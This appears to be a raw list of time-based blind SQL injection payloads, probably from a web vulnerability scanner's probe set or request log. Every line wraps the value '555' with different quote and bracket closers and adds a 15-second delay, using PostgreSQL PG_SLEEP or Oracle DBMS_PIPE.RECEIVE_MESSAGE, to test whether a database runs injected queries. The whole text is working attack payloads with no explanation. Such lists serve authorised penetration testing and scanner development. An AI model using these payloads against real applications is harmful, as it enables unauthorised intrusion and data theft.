555-1 OR 781=(SELECT 781 FROM PG_SLEEP(15))--

555-1) OR 202=(SELECT 202 FROM PG_SLEEP(15))--

555-1)) OR 210=(SELECT 210 FROM PG_SLEEP(15))--

555OVs8XOyn' OR 400=(SELECT 400 FROM PG_SLEEP(15))--

555FKn4PIvq') OR 421=(SELECT 421 FROM PG_SLEEP(15))--

555i2Eu9dPN')) OR 125=(SELECT 125 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555